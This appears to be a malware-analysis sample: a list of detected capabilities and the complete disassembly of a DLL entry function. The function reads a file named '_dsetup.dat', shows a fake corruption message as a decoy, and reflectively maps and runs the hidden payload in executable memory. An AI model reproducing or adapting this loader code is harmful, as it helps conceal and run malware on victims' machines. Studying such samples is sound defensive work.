Function at 0x10001039
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Get system information on windows
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
cmp dword [ebp + 0xc], 1
push esi
push edi
jne 0x10001851
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push str.._dsetup.dat
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100010a2
push esi
push str.Message
push str.Files_are_corrupted____Please_full_check...__.._System_dsetup.dat_
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
push esi
push esi
push 0x10001025
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10001851
push ebx
lea eax, [ebp - 0x10]
push eax
push edi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.10001d89
pop ecx
push 0
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esi + 0x1c]
mov eax, dword [ebp - 0x14]
sub eax, edi
mov dword [ebp - 0x10], edi
add edi, esi
mov edx, dword [edi + 0x78]
mov dword [ebp - 8], eax
movzx eax, word [edi + 0x54]
lea ecx, [eax + edi + 0x64]
movzx eax, word [edi + 0x46]
xor ebx, ebx
test eax, eax
je 0x10001117
mov dword [ebp + 0xc], eax
mov esi, dword [ecx + 4]
mov eax, dword [ecx]
test esi, esi
jne 0x10001107
add eax, edx
jmp 0x10001109
add eax, esi
cmp eax, ebx
jbe 0x1000110f
mov ebx, eax
add ecx, 0x28
dec dword [ebp + 0xc]
jne 0x100010fa
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp - 0x48]
mov edx, dword [edi + 0x90]
lea ecx, [eax - 1]
lea esi, [edx + eax - 1]
not ecx
lea eax, [eax + ebx - 1]
and esi, ecx
and eax, ecx
cmp esi, eax
jne 0x10001850
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push esi
push dword [edi + 0x74]
call ebx
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x10001173
push 4
push 0x3000
push esi
push eax
call ebx
mov dword [ebp + 0xc], eax
test eax, eax
je 0x10001850
push 0x30
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x1000119e
push 0x8000
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x10001850
mov eax, dword [ebp + 0xc]
mov dword [esi + 4], eax
movzx eax, word [edi + 0x56]
and dword [esi + 0x28], 0
shr eax, 0xd
and eax, 1
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], 0x10001000
mov dword [esi + 0x20], 0x1000100b
mov dword [esi + 0x24], 0x1000101a
mov eax, dword [ebp - 0x48]
mov dword [esi + 0x2c], eax
mov eax, dword [edi + 0x94]
cmp dword [ebp - 8], eax
jae 0x10001226
cmp dword [esi + 0x10], 0
je 0x100011f2
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
add eax, dword [ebp + 0xc]
push 0
push 0
push dword [ebp + 0xc]
call eax
xor edi, edi
cmp dword [esi + 8], edi
je 0x1000137c
cmp dword [esi + 0xc], edi
jle 0x10001373
mov eax, dword [esi + 8]
lea eax, [eax + edi*4]
cmp dword [eax], 0
je 0x1000121b
push dword [esi + 0x28]
push dword [eax]
call dword [esi + 0x24]
pop ecx
pop ecx
inc edi
cmp edi, dword [esi + 0xc]
jl 0x10001206
jmp 0x10001373
push 4
push 0x1000
push eax
push dword [ebp + 0xc]
call ebx
push dword [edi + 0x94]
mov ebx, eax
push edi
push ebx
call fcn.10001950
mov ecx, dword [ebp + 0xc]
and dword [ebp - 4], 0
lea eax, [ebx + 0x40]
mov dword [esi], eax
mov dword [eax + 0x34], ecx
mov eax, dword [esi + 4]
mov dword [ebp + 8], eax
mov eax, dword [esi]
movzx ecx, word [eax + 0x14]
xor edx, edx
add esp, 0xc
lea ecx, [ecx + eax + 0x18]
cmp dx, word [eax + 6]
jae 0x1000130e
lea ebx, [ecx + 0x10]
mov eax, dword [ebx]
test eax, eax
jne 0x100012b6
mov eax, dword [edi + 0x78]
mov dword [ebp - 0xc], eax
test eax, eax
jle 0x100012f9
push 4
push 0x1000
push eax
mov eax, dword [ebx - 4]
add eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10001335
mov eax, dword [ebx - 4]
push dword [ebp - 0xc]
add eax, dword [ebp + 8]
push 0
push eax
mov dword [ebx - 8], eax
call fcn.10001cc0
jmp 0x100012f6
mov ecx, dword [ebx + 4]
add ecx, eax
cmp dword [ebp - 8], ecx
jb 0x10001335
push 4
push 0x1000
push eax
mov eax, dword [ebx - 4]
add eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10001335
push dword [ebx]
mov ecx, dword [ebx + 4]
mov eax, dword [ebx - 4]
add eax, dword [ebp + 8]
add ecx, edi
push ecx
push eax
mov dword [ebp - 0xc], eax
call fcn.10001950
mov eax, dword [ebp - 0xc]
mov dword [ebx - 8], eax
add esp, 0xc
mov eax, dword [esi]
movzx eax, word [eax + 6]
inc dword [ebp - 4]
add ebx, 0x28
cmp dword [ebp - 4], eax
jl 0x10001273
mov eax, dword [esi]
mov ecx, dword [eax + 0x34]
sub ecx, dword [edi + 0x74]
mov dword [ebp - 8], ecx
je 0x10001407
cmp dword [eax + 0xa4], 0
mov edx, dword [esi + 4]
mov dword [ebp - 4], edx
jne 0x10001399
xor eax, eax
jmp 0x10001402
cmp dword [esi + 0x10], 0
je 0x1000134c
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [ecx + 0x28]
push 0
push 0
push eax
add ecx, eax
call ecx
xor edi, edi
cmp dword [esi + 8], edi
je 0x1000137c
cmp dword [esi + 0xc], edi
jle 0x10001373
mov eax, dword [esi + 8]
lea eax, [eax + edi*4]
cmp dword [eax], 0
je 0x1000136d
push dword [esi + 0x28]
push dword [eax]
call dword [esi + 0x24]
pop ecx
pop ecx
inc edi
cmp edi, dword [esi + 0xc]
jl 0x10001358
push dword [esi + 8]
call fcn.10001864
pop ecx
mov eax, dword [esi + 4]
test eax, eax
je 0x10001391
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
push 0
jmp 0x100017a8
mov eax, dword [eax + 0xa0]
add eax, edx
jmp 0x100013f9
and dword [ebp + 8], 0
add ecx, edx
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 4]
sub ecx, 8
lea edi, [eax + 8]
test ecx, 0xfffffffe
jbe 0x100013f6
movzx ecx, word [edi]
mov edx, ecx
and edx, 0xf000
mov ebx, 0x3000
cmp dx, bx
jne 0x100013e0
mov edx, dword [ebp - 8]
and ecx, 0xfff
add ecx, dword [ebp - 0xc]
add dword [ecx], edx
mov ecx, dword [eax + 4]
inc dword [ebp + 8]
sub ecx, 8
shr ecx, 1
add edi, 2
cmp dword [ebp + 8], ecx
jb 0x100013bd
mov edx, dword [ebp - 4]
add eax, dword [eax + 4]
mov ecx, dword [eax]
test ecx, ecx
jne 0x100013a3
xor eax, eax
inc eax
mov dword [esi + 0x18], eax
jmp 0x1000140e
mov dword [esi + 0x18], 1
mov eax, dword [esi]
cmp dword [eax + 0x84], 0
mov ebx, dword [esi + 4]
mov dword [ebp - 0xc], 1
je 0x10001593
mov edi, dword [eax + 0x80]
push 0x14
add edi, ebx
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10001593
add edi, 0x10
mov dword [ebp + 8], edi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
test eax, eax
je 0x1000152d
push dword [esi + 0x28]
add eax, ebx
push eax
call dword [esi + 0x1c]
mov edi, eax
pop ecx
pop ecx
mov dword [ebp - 8], edi
test edi, edi
je 0x10001533
mov eax, dword [esi + 0xc]
lea eax, [eax*4 + 4]
push eax
push dword [esi + 8]
call fcn.1000189e
pop ecx
pop ecx
test eax, eax
je 0x10001517
mov ecx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov dword [eax + ecx*4], edi
inc dword [esi + 0xc]
mov eax, dword [ebp + 8]
mov edi, dword [eax - 0x10]
test edi, edi
je 0x100014a7
mov ecx, dword [eax]
add edi, ebx
add ecx, ebx
jmp 0x100014ae
mov eax, dword [eax]
lea edi, [ebx + eax]
mov ecx, edi
mov eax, dword [edi]
test eax, eax
je 0x100014f4
mov dword [ebp - 4], ecx
sub dword [ebp - 4], edi
push dword [esi + 0x28]
test eax, eax
jns 0x100014c8
and eax, 0xffff
jmp 0x100014cd
add eax, ebx
add eax, 2
push eax
push dword [ebp - 8]
call dword [esi + 0x20]
mov ecx, dword [ebp - 4]
mov dword [edi + ecx], eax
mov eax, ecx
add esp, 0xc
cmp dword [edi + eax], 0
je 0x100014f0
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x100014ba
jmp 0x100014f4
and dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0
je 0x10001522
add dword [ebp + 8], 0x14
mov eax, dword [ebp + 8]
push 0x14
add eax, 0xfffffff0
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10001446
jmp 0x1000152d
push dword [esi + 0x28]
push edi
call dword [esi + 0x24]
pop ecx
pop ecx
jmp 0x10001533
push dword [esi + 0x28]
push dword [ebp - 8]
call dword [esi + 0x24]
pop ecx
pop ecx
cmp dword [ebp - 0xc], 0
jne 0x10001593
xor ebx, ebx
cmp dword [esi + 0x10], ebx
je 0x10001549
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [ecx + 0x28]
push ebx
push ebx
push eax
add ecx, eax
call ecx
cmp dword [esi + 8], ebx
je 0x10001578
xor edi, edi
cmp dword [esi + 0xc], ebx
jle 0x1000156f
mov eax, dword [esi + 8]
lea eax, [eax + edi*4]
cmp dword [eax], ebx
je 0x10001569
push dword [esi + 0x28]
push dword [eax]
call dword [esi + 0x24]
pop ecx
pop ecx
inc edi
cmp edi, dword [esi + 0xc]
jl 0x10001555
push dword [esi + 8]
call fcn.10001864
pop ecx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x1000158c
push 0x8000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
push ebx
jmp 0x100017a8
mov ecx, dword [esi]
movzx eax, word [ecx + 0x14]
mov edx, dword [esi + 0x2c]
dec edx
lea eax, [eax + ecx + 0x18]
mov edi, dword [eax + 8]
not edx
and edx, edi
mov dword [ebp - 0x28], edi
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x24], edx
test edi, edi
jne 0x100015c9
mov edx, dword [eax + 0x24]
test dl, 0x40
je 0x100015c2
mov edi, dword [ecx + 0x20]
jmp 0x100015c9
test dl, dl
jns 0x100015c9
mov edi, dword [ecx + 0x24]
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x20], edi
xor edi, edi
inc edi
mov dword [ebp - 0xc], edi
cmp di, word [ecx + 6]
jae 0x100016fa
lea ebx, [eax + 0x4c]
mov edi, dword [esi + 0x2c]
mov eax, dword [ebx - 0x1c]
dec edi
not edi
and edi, eax
mov dword [ebp - 8], eax
mov eax, dword [ebx - 0x14]
mov dword [ebp + 8], eax
test eax, eax
jne 0x10001614
mov ecx, dword [ebx]
test cl, 0x40
je 0x10001608
mov eax, dword [esi]
mov eax, dword [eax + 0x20]
jmp 0x10001611
test cl, cl
jns 0x10001614
mov eax, dword [esi]
mov eax, dword [eax + 0x24]
mov dword [ebp + 8], eax
cmp dword [ebp - 0x24], edi
je 0x100016c1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
add ecx, eax
cmp ecx, edi
ja 0x100016be
test eax, eax
je 0x100016ae
test edx, 0x2000000
je 0x10001666
mov ecx, dword [ebp - 0x24]
cmp dword [ebp - 0x28], ecx
jne 0x100016ae
mov edx, dword [esi]
mov ecx, dword [esi + 0x2c]
cmp dword [edx + 0x38], ecx
je 0x10001653
xor edx, edx
div ecx
test edx, edx
jne 0x100016ae
push 0x4000
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x100016ae
mov eax, edx
shr eax, 0x1d
mov ecx, edx
shr ecx, 0x1e
and eax, 1
and ecx, 1
lea eax, [ecx + eax*2]
mov ecx, edx
shr ecx, 0x1f
lea eax, [ecx + eax*2]
mov eax, dword [eax*4 + section..data]
test edx, 0x4000000
je 0x10001695
or eax, 0x200
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001804
mov eax, dword [ebp - 8]
mov edx, dword [ebx]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], edi
jmp 0x100016e2
mov eax, dword [ebp + 8]
mov edi, dword [ebx]
mov ecx, 0x2000000
test ecx, edi
je 0x100016d4
test ecx, edx
je 0x100016d4
or edx, edi
jmp 0x100016dc
or edx, edi
and edx, 0xfdffffff
sub eax, dword [ebp - 0x28]
add eax, dword [ebp - 8]
inc dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [esi]
movzx eax, word [eax + 6]
add ebx, 0x28
cmp dword [ebp - 0xc], eax
jl 0x100015e2
xor edi, edi
cmp dword [ebp - 0x20], edi
je 0x10001724
test edx, 0x2000000
je 0x100017ba
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x24]
jne 0x10001724
push 0x4000
push dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
cmp eax, edi
je 0x10001850
cmp dword [esi + 0x14], edi
je 0x10001850
mov ecx, dword [ebp + 0xc]
push edi
xor ebx, ebx
inc ebx
push ebx
add eax, ecx
push ecx
call eax
test eax, eax
jne 0x1000184d
cmp dword [esi + 0x10], edi
je 0x10001763
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [ecx + 0x28]
push edi
push edi
push eax
add ecx, eax
call ecx
cmp dword [esi + 8], edi
je 0x10001792
xor ebx, ebx
cmp dword [esi + 0xc], edi
jle 0x10001789
mov eax, dword [esi + 8]
lea eax, [eax + ebx*4]
cmp dword [eax], edi
je 0x10001783
push dword [esi + 0x28]
push dword [eax]
call dword [esi + 0x24]
pop ecx
pop ecx
inc ebx
cmp ebx, dword [esi + 0xc]
jl 0x1000176f
push dword [esi + 8]
call fcn.10001864
pop ecx
mov eax, dword [esi + 4]
cmp eax, edi
je 0x100017a6
push 0x8000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10001850
mov eax, edx
shr eax, 0x1d
mov ecx, edx
shr ecx, 0x1e
and eax, 1
and ecx, 1
lea eax, [ecx + eax*2]
mov ecx, edx
shr ecx, 0x1f
lea eax, [ecx + eax*2]
mov eax, dword [eax*4 + section..data]
test edx, 0x4000000
je 0x100017e9
or eax, 0x200
lea ecx, [ebp + 8]
push ecx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001724
jmp 0x10001806
xor edi, edi
cmp dword [esi + 0x10], edi
je 0x1000181a
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov ecx, dword [ecx + 0x28]
push edi
push edi
push eax
add ecx, eax
call ecx
cmp dword [esi + 8], edi
je 0x10001792
xor ebx, ebx
cmp dword [esi + 0xc], edi
jle 0x10001789
mov eax, dword [esi + 8]
lea eax, [eax + ebx*4]
cmp dword [eax], edi
je 0x10001842
push dword [esi + 0x28]
push dword [eax]
call dword [esi + 0x24]
pop ecx
pop ecx
inc ebx
cmp ebx, dword [esi + 0xc]
jl 0x1000182e
jmp 0x10001789
mov dword [esi + 0x10], ebx
pop ebx
xor eax, eax
pop edi
inc eax
pop esi
leave
ret 0xc